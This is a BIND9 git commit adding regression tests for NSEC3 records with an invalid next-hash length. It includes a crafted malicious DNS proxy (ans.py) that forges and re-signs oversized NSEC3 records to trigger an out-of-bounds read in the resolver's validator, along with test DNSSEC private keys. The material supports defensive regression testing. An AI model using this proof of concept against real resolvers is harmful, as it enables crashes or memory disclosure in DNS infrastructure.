From: Ondřej Surý Date: Fri, 20 Feb 2026 14:44:14 +0000 (+0100) Subject: Add tests for NSEC3 invalid length X-Git-Tag: v9.21.19~9^2~2 X-Git-Url: http://git.ipfire.org/cgi-bin/gitweb.cgi?a=commitdiff_plain;h=7b737bc1c412345c0164f49073253b89d35bee0a;p=thirdparty%2Fbind9.git Add tests for NSEC3 invalid length Adds a static system test that fails to load an NSEC3 record with an invalid next part length. Additionally, introduces a dynamic test using a crafted authoritative DNS proxy to inject invalid NSEC3 records on the fly to test runtime behavior. --- diff --git a/bin/tests/system/checkzone/zones/bad-nsec3-length.db b/bin/tests/system/checkzone/zones/bad-nsec3-length.db new file mode 100644 index 00000000000..0e5b9174685 --- /dev/null +++ b/bin/tests/system/checkzone/zones/bad-nsec3-length.db @@ -0,0 +1,17 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 600 +@ SOA ns hostmaster 2011012708 3600 1200 604800 1200 + NS ns +ns A 192.0.2.1 + +I7A7A184GGMI35K1E3IR650LKO7NOB5R.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F IMQ912BREQP1POLAH3RMONG;UED541AS A RRSIG diff --git a/bin/tests/system/nsec3/ans7/ans.py b/bin/tests/system/nsec3/ans7/ans.py new file mode 100644 index 00000000000..4fc9bddc030 --- /dev/null +++ b/bin/tests/system/nsec3/ans7/ans.py @@ -0,0 +1,490 @@ +#!/usr/bin/env python3 +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Crafted authoritative DNS proxy for BIND9 NSEC3 OOB read PoC. + +Simulates a malicious authoritative server that crafts NSEC3 responses +to trigger CWE-125 (out-of-bounds stack read) in validator.c:344. + +Attack chain: +1. Resolver queries xxx.evil.test A -> proxy modifies NSEC3 in A response + (breaks the NSEC3 proof, forcing proveunsecure() fallback) +2. Resolver fetches DS for xxx.evil.test -> proxy injects crafted NSEC3 + with next_length=200 (exceeds 155-byte buffer) at position 0 +3. DS validation succeeds via unmodified NSEC3 (opt-out coverage) +4. ncache stores: [crafted_nsec3 (200B next), original_nsec3] +5. isdelegation() iterates ncache -> crafted first -> memcmp() OOB read + +Usage: python3 crafted_auth_v6.py + Listens on [ip]:[port] + Forwards to legitimate auth server on [10.53.0.6]:[port] + +Prerequisites: pip install dnspython cryptography +""" + +import base64 +import glob +import os +import signal +import socket +import struct +import sys +import time + +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.asymmetric import ec, utils + +import dns.message +import dns.name +import dns.rcode +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +IP = sys.argv[1] +PORT = int(sys.argv[2]) +TARGET_NEXT_LENGTH = 200 +ZONE_FILE = "../ns6/evil.test.db.signed" + +# NSEC3 params: alg=1(SHA1), flags=1(opt-out), iterations=10, salt=DEADBEEF +NSEC3_ALG = 1 +NSEC3_FLAGS = 1 +NSEC3_ITERATIONS = 10 +NSEC3_SALT = bytes.fromhex("DEADBEEF") +NSEC3_TTL = 86400 + +# RRSIG timing: computed dynamically for portability +NOW = int(time.time()) +RRSIG_LABELS = 3 +RRSIG_ORIG_TTL = 86400 +RRSIG_INCEPTION = NOW - 3600 # 1 hour ago +RRSIG_EXPIRATION = NOW + 30 * 86400 # 30 days from now + + +def discover_nsec3_from_zone(zone_file): + """ + Auto-discover NSEC3 owner names and next hashes from the signed zone. + Returns list of dicts sorted by owner name. + """ + nsec3_records = [] + with open(zone_file, "r", encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line or line.startswith(";"): + continue + parts = line.split() + if parts[3] == "NSEC3": + print(parts) + try: + idx = parts.index("NSEC3") + print(idx) + owner = parts[0] + next_hash_b32 = parts[idx + 5] + flags = int(parts[idx + 2]) + nsec3_records.append( + { + "owner": owner, + "next_hash_b32": next_hash_b32, + "flags": flags, + } + ) + except (IndexError, ValueError): + continue + nsec3_records.sort(key=lambda r: r["owner"]) + return nsec3_records + + +def b32_to_bytes(b32hex_str): + """Decode base32hex (RFC 4648) to bytes.""" + padded = b32hex_str.upper() + "=" * ((8 - len(b32hex_str) % 8) % 8) + return base64.b32hexdecode(padded) + + +def load_zsk(): + """Load the Zone Signing Key (ZSK) for re-signing modified records.""" + keys = glob.glob("../ns6/Kevil.test.+013+*.private") + for kf in keys: + pub = kf.replace(".private", ".key") + with open(pub, "r", encoding="utf-8") as f: + content = f.read() + if "256 3 13" in content: + with open(kf, "r", encoding="utf-8") as pf: + for line in pf: + if line.startswith("PrivateKey:"): + key_bytes = base64.b64decode(line.split(":", 1)[1].strip()) + pk = ec.derive_private_key( + int.from_bytes(key_bytes, "big"), + ec.SECP256R1(), + default_backend(), + ) + tag = int(kf.split("+")[-1].replace(".private", "")) + print(f"[*] Loaded ZSK key tag={tag}", flush=True) + return pk, tag + raise ValueError("No ZSK found") + + +def sign_rrset( + private_key, + key_tag, + rrset, + type_covered, + labels, + original_ttl, + expiration, + inception, + signer_name, +): + """Sign an RRset with ECDSAP256SHA256 and return RRSIG rdata.""" + algorithm = 13 + + sig_rdata = struct.pack("!HBBI", type_covered, algorithm, labels, original_ttl) + sig_rdata += struct.pack("!II", expiration, inception) + sig_rdata += struct.pack("!H", key_tag) + sig_rdata += signer_name.canonicalize().to_wire() + + rr_wires = [] + for rdata in rrset: + rdata_wire = rdata.to_digestable() + rr_wire = rrset.name.canonicalize().to_wire() + rr_wire += struct.pack("!HHI", rrset.rdtype, rrset.rdclass, original_ttl) + rr_wire += struct.pack("!H", len(rdata_wire)) + rr_wire += rdata_wire + rr_wires.append(rr_wire) + + rr_wires.sort() + sign_data = sig_rdata + b"".join(rr_wires) + + der_sig = private_key.sign(sign_data, ec.ECDSA(hashes.SHA256())) + r, s = utils.decode_dss_signature(der_sig) + raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big") + + full_rrsig_wire = sig_rdata + raw_sig + rrsig_rdata = dns.rdata.from_wire( + dns.rdataclass.IN, + dns.rdatatype.RRSIG, + full_rrsig_wire, + 0, + len(full_rrsig_wire), + None, + ) + return rrsig_rdata + + +def sign_rrset_from_template(private_key, key_tag, rrset, template_rrsig): + """Sign using existing RRSIG as template for type_covered.""" + return sign_rrset( + private_key, + key_tag, + rrset, + template_rrsig.type_covered, + RRSIG_LABELS, + RRSIG_ORIG_TTL, + RRSIG_EXPIRATION, + RRSIG_INCEPTION, + template_rrsig.signer, + ) + + +def build_crafted_nsec3(private_key, key_tag, owner_name, original_next_hash, bitmaps): + """ + Build a crafted NSEC3 with next_length=200 (exceeds 155-byte buffer). + Returns (nsec3_rrset, rrsig_rrset). + """ + name = dns.name.from_text(owner_name) + signer = dns.name.from_text("evil.test.") + + crafted_next = original_next_hash + os.urandom( + TARGET_NEXT_LENGTH - len(original_next_hash) + ) + + nsec3_wire = struct.pack("!BBH", NSEC3_ALG, NSEC3_FLAGS, NSEC3_ITERATIONS) + nsec3_wire += struct.pack("!B", len(NSEC3_SALT)) + NSEC3_SALT + nsec3_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next + nsec3_wire += bitmaps + + nsec3_rdata = dns.rdata.from_wire( + dns.rdataclass.IN, dns.rdatatype.NSEC3, nsec3_wire, 0, len(nsec3_wire), None + ) + + nsec3_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.NSEC3) + nsec3_rrset.update_ttl(NSEC3_TTL) + nsec3_rrset.add(nsec3_rdata) + + rrsig_rdata = sign_rrset( + private_key, + key_tag, + nsec3_rrset, + type_covered=dns.rdatatype.NSEC3, + labels=RRSIG_LABELS, + original_ttl=RRSIG_ORIG_TTL, + expiration=RRSIG_EXPIRATION, + inception=RRSIG_INCEPTION, + signer_name=signer, + ) + + rrsig_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.RRSIG) + rrsig_rrset.update_ttl(NSEC3_TTL) + rrsig_rrset.add(rrsig_rdata) + + print( + f"[*] Built crafted NSEC3: owner={owner_name}, " + f"next_hash={TARGET_NEXT_LENGTH}B, signed tag={key_tag}", + flush=True, + ) + return nsec3_rrset, rrsig_rrset + + +def modify_nsec3_next(rdata): + """Modify an NSEC3 record's next_hash to TARGET_NEXT_LENGTH bytes.""" + orig_wire = rdata.to_digestable() + pos = 0 + hash_alg = orig_wire[pos] + pos += 1 + flags = orig_wire[pos] + pos += 1 + iterations = struct.unpack("!H", orig_wire[pos : pos + 2])[0] + pos += 2 + salt_len = orig_wire[pos] + pos += 1 + salt = orig_wire[pos : pos + salt_len] + pos += salt_len + hash_len = orig_wire[pos] + pos += 1 + next_hash = orig_wire[pos : pos + hash_len] + pos += hash_len + type_bitmaps = orig_wire[pos:] + + crafted_next = next_hash + os.urandom(TARGET_NEXT_LENGTH - len(next_hash)) + new_wire = struct.pack("!BBH", hash_alg, flags, iterations) + new_wire += struct.pack("!B", salt_len) + salt + new_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next + new_wire += type_bitmaps + + return dns.rdata.from_wire( + dns.rdataclass.IN, dns.rdatatype.NSEC3, new_wire, 0, len(new_wire), None + ) + + +def name_label(name): + """Get the first label (NSEC3 hash) from a DNS name.""" + return str(name).split(".", maxsplit=1)[0].upper() + + +def is_target(dns_name, target_prefix): + """Check if a DNS name's first label starts with target prefix.""" + return ( + str(dns_name) + .split(".", maxsplit=1)[0] + .upper() + .startswith(target_prefix.upper()) + ) + + +def patch_a_response(response_data, private_key, key_tag, modify_name): + """ + Patch A response: modify the NSEC3 matching modify_name to break + the NSEC3 proof, forcing the resolver into proveunsecure(). + """ + try: + msg = dns.message.from_wire(response_data) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Parse error: {e}", flush=True) + return response_data + + new_authority = [] + for rrset in msg.authority: + if rrset.rdtype == dns.rdatatype.NSEC3 and is_target(rrset.name, modify_name): + new_rrset = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype) + new_rrset.update_ttl(rrset.ttl) + for rdata in rrset: + new_rrset.add(modify_nsec3_next(rdata)) + new_authority.append(new_rrset) + print( + f"[!] PATCHED {name_label(rrset.name)}: " + f"next_hash -> {TARGET_NEXT_LENGTH}B", + flush=True, + ) + + elif rrset.rdtype == dns.rdatatype.RRSIG: + covers_nsec3 = any(rd.type_covered == dns.rdatatype.NSEC3 for rd in rrset) + if covers_nsec3 and is_target(rrset.name, modify_name): + target_rrset = [ + rs + for rs in new_authority + if rs.rdtype == dns.rdatatype.NSEC3 + and is_target(rs.name, modify_name) + ] + if target_rrset: + template = next(iter(rrset)) + try: + new_rrsig = sign_rrset_from_template( + private_key, key_tag, target_rrset[0], template + ) + rrsig_rrset = dns.rrset.RRset( + rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG + ) + rrsig_rrset.update_ttl(rrset.ttl) + rrsig_rrset.add(new_rrsig) + new_authority.append(rrsig_rrset) + print(f"[!] Re-signed " f"{name_label(rrset.name)}", flush=True) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Sign error: {e}", flush=True) + new_authority.append(rrset) + else: + new_authority.append(rrset) + else: + new_authority.append(rrset) + else: + new_authority.append(rrset) + + msg.authority = new_authority + try: + wire = msg.to_wire() + print(f"[!] A response: {len(wire)} bytes", flush=True) + return wire + except Exception as e: # pylint: disable=broad-except + print(f"[!] Wire error: {e}", flush=True) + return response_data + + +def patch_ds_response(response_data, crafted_nsec3, crafted_rrsig, inject_name): + """ + Patch DS response: + - Change RCODE NXDOMAIN -> NOERROR + - Inject crafted NSEC3 (200B next) at position 0 in authority + """ + try: + msg = dns.message.from_wire(response_data) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Parse error: {e}", flush=True) + return response_data + + if msg.rcode() == dns.rcode.NXDOMAIN: + msg.set_rcode(dns.rcode.NOERROR) + print("[!] RCODE: NXDOMAIN -> NOERROR", flush=True) + + new_authority = [crafted_nsec3, crafted_rrsig] + print( + "[!] INJECTED crafted " + f"{name_label(crafted_nsec3.name)} " + f"(next={TARGET_NEXT_LENGTH}B) at position 0", + flush=True, + ) + + for rrset in msg.authority: + if is_target(rrset.name, inject_name): + print(f"[D] Skipped original " f"{name_label(rrset.name)}", flush=True) + continue + new_authority.append(rrset) + + msg.authority = new_authority + try: + wire = msg.to_wire() + print(f"[!] DS response: {len(wire)} bytes", flush=True) + return wire + except Exception as e: # pylint: disable=broad-except + print(f"[!] Wire error: {e}", flush=True) + return response_data + + +def sigterm(*_): + print("SIGTERM received, shutting down") + os.remove("ans.pid") + sys.exit(0) + + +def main(): + signal.signal(signal.SIGTERM, sigterm) + signal.signal(signal.SIGINT, sigterm) + with open("ans.pid", "w", encoding="utf-8") as pidfile: + print(os.getpid(), file=pidfile) + + # Auto-discover NSEC3 info from signed zone + print(f"[*] Reading zone file: {ZONE_FILE}", flush=True) + nsec3_records = discover_nsec3_from_zone(ZONE_FILE) + + if len(nsec3_records) < 2: + print( + f"[!] ERROR: Need >= 2 NSEC3 records, " f"found {len(nsec3_records)}", + flush=True, + ) + sys.exit(1) + + # First alphabetically = inject target, second = modify target + inject_rec = nsec3_records[0] + modify_rec = nsec3_records[1] + + inject_name = inject_rec["owner"].split(".")[0] + modify_name = modify_rec["owner"].split(".")[0] + inject_owner_full = inject_rec["owner"] + inject_next_hash = b32_to_bytes(inject_rec["next_hash_b32"]) + + inject_bitmaps = bytes.fromhex("0006400000000002") # A RRSIG + + print(f"[*] NSEC3 to INJECT (crafted): {inject_name}", flush=True) + print(f"[*] NSEC3 to MODIFY (break proof): {modify_name}", flush=True) + + # Load ZSK for re-signing + private_key, key_tag = load_zsk() + + # Build crafted NSEC3 with next_length=200 + crafted_nsec3, crafted_rrsig = build_crafted_nsec3( + private_key, key_tag, inject_owner_full, inject_next_hash, inject_bitmaps + ) + + # Start UDP proxy + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((IP, PORT)) + print(f"[*] Proxy on {IP}:{PORT} -> {IP}:{PORT}", flush=True) + + while True: + data, addr = sock.recvfrom(4096) + try: + query = dns.message.from_wire(data) + qname = query.question[0].name + qtype = query.question[0].rdtype + qtype_text = dns.rdatatype.to_text(qtype) + print(f"\n[<] Query from {addr}: {qname} {qtype_text}", flush=True) + except Exception as e: # pylint: disable=broad-except + print(f"[<] Query parse error: {e}", flush=True) + qtype = None + + fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + fwd.settimeout(3) + fwd.sendto(data, ("10.53.0.6", PORT)) + try: + response, _ = fwd.recvfrom(65535) + if qtype == dns.rdatatype.DS: + print("[>] DS - inject crafted + RCODE change", flush=True) + modified = patch_ds_response( + response, crafted_nsec3, crafted_rrsig, inject_name + ) + sock.sendto(modified, addr) + elif qtype in (dns.rdatatype.A, dns.rdatatype.AAAA): + print(f"[>] A - modify {modify_name}", flush=True) + modified = patch_a_response(response, private_key, key_tag, modify_name) + sock.sendto(modified, addr) + else: + print(f"[>] {qtype_text} - forwarding", flush=True) + sock.sendto(response, addr) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Error: {e}", flush=True) + finally: + fwd.close() + + +if __name__ == "__main__": + main() diff --git a/bin/tests/system/nsec3/common.py b/bin/tests/system/nsec3/common.py index 2f03f9bb35f..13a8f134644 100644 --- a/bin/tests/system/nsec3/common.py +++ b/bin/tests/system/nsec3/common.py @@ -36,6 +36,7 @@ NSEC3_MARK = pytest.mark.extra_artifacts( "ns*/*.signed", "ns*/keygen.out.*", "ns3/named-*.conf", + "ans*/ans.run", ] ) diff --git a/bin/tests/system/nsec3/ns5/named.conf.j2 b/bin/tests/system/nsec3/ns5/named.conf.j2 new file mode 100644 index 00000000000..3d2651038fd --- /dev/null +++ b/bin/tests/system/nsec3/ns5/named.conf.j2 @@ -0,0 +1,38 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS5 + +options { + query-source address 10.53.0.5; + notify-source 10.53.0.5; + transfer-source 10.53.0.5; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.5; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion yes; + dnssec-validation yes; + send-cookie no; +}; + +trust-anchors { + evil.test. static-key 257 3 13 "yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ=="; +}; + +zone "evil.test" { + type forward; + forward only; + forwarders { 10.53.0.7 port @PORT@; }; +}; diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key new file mode 100644 index 00000000000..b9ff7a505d8 --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key @@ -0,0 +1,5 @@ +; This is a key-signing key, keyid 10491, for evil.test. +; Created: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026) +evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ== diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private new file mode 100644 index 00000000000..2b5d4447ee1 --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private @@ -0,0 +1,6 @@ +Private-key-format: v1.3 +Algorithm: 13 (ECDSAP256SHA256) +PrivateKey: ggNXr56dVy7kxpAL5tFDNskg72fJmxhzqHNiaNcefXs= +Created: 20260220135822 +Publish: 20260220135822 +Activate: 20260220135822 diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key new file mode 100644 index 00000000000..a0b7f44444e --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key @@ -0,0 +1,5 @@ +; This is a zone-signing key, keyid 12713, for evil.test. +; Created: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026) +evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA== diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private new file mode 100644 index 00000000000..2bf085150ee --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private @@ -0,0 +1,6 @@ +Private-key-format: v1.3 +Algorithm: 13 (ECDSAP256SHA256) +PrivateKey: v6iu6vE/hjOKCP/ob2DkqCeHdCUTqkZp4W9x4Id0Epg= +Created: 20260220135826 +Publish: 20260220135826 +Activate: 20260220135826 diff --git a/bin/tests/system/nsec3/ns6/evil.test.db b/bin/tests/system/nsec3/ns6/evil.test.db new file mode 100644 index 00000000000..67692d0d8de --- /dev/null +++ b/bin/tests/system/nsec3/ns6/evil.test.db @@ -0,0 +1,32 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$ORIGIN evil.test. +$TTL 86400 +@ IN SOA ns1.evil.test. admin.evil.test. ( + 2024021401 ; serial + 3600 ; refresh + 900 ; retry + 604800 ; expire + 86400 ; minimum TTL + ) + IN NS ns1.evil.test. +ns1 IN A 127.0.0.1 +; This is a key-signing key, keyid 10491, for evil.test. +; Created: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026) +evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ== +; This is a zone-signing key, keyid 12713, for evil.test. +; Created: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026) +evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA== diff --git a/bin/tests/system/nsec3/ns6/named.conf.j2 b/bin/tests/system/nsec3/ns6/named.conf.j2 new file mode 100644 index 00000000000..b6da3912815 --- /dev/null +++ b/bin/tests/system/nsec3/ns6/named.conf.j2 @@ -0,0 +1,32 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS6 + +options { + query-source address 10.53.0.6; + notify-source 10.53.0.6; + transfer-source 10.53.0.6; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.6; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion no; + dnssec-validation no; +}; + +zone "evil.test" { + type primary; + file "evil.test.db.signed"; +}; diff --git a/bin/tests/system/nsec3/ns6/setup.sh b/bin/tests/system/nsec3/ns6/setup.sh new file mode 100644 index 00000000000..ca02eae85a9 --- /dev/null +++ b/bin/tests/system/nsec3/ns6/setup.sh @@ -0,0 +1,21 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../../conf.sh + +echo_i "ns6/setup.sh" + +$SIGNER -3 DEADBEEF -A -H 10 -o evil.test -t evil.test.db >/dev/null 2>&1 +$CHECKZONE -s full -f text -F text -o evil.test.db.signed2 evil.test evil.test.db.signed >/dev/null 2>&1 +mv evil.test.db.signed2 evil.test.db.signed diff --git a/bin/tests/system/nsec3/setup.sh b/bin/tests/system/nsec3/setup.sh index 1ddb23c55ab..142f77a17f2 100644 --- a/bin/tests/system/nsec3/setup.sh +++ b/bin/tests/system/nsec3/setup.sh @@ -25,3 +25,8 @@ set -e cd ns3 $SHELL setup.sh ) + +( + cd ns6 + $SHELL setup.sh +) diff --git a/bin/tests/system/nsec3/tests_nsec3_initial.py b/bin/tests/system/nsec3/tests_nsec3_initial.py index 0cc53c81aa4..f0dacdc4617 100644 --- a/bin/tests/system/nsec3/tests_nsec3_initial.py +++ b/bin/tests/system/nsec3/tests_nsec3_initial.py @@ -9,6 +9,8 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +# pylint: disable=unspecified-encoding,multiple-statements,use-maxsplit-arg,broad-exception-caught,f-string-without-interpolation + import os import dns.rcode diff --git a/bin/tests/system/nsec3/tests_nsec3_length.py b/bin/tests/system/nsec3/tests_nsec3_length.py new file mode 100644 index 00000000000..0adc5bb8ad9 --- /dev/null +++ b/bin/tests/system/nsec3/tests_nsec3_length.py @@ -0,0 +1,32 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# pylint: disable=redefined-outer-name,unused-import + +import dns.message + +import isctest + +ZONES = { + "evil.test", +} + + +def bootstrap(): + return { + "zones": ZONES, + } + + +def test_nsec3_invalid_length(): + msg = dns.message.make_query("xxx.evil.test", "A") + res = isctest.query.udp(msg, "10.53.0.5") + isctest.check.servfail(res)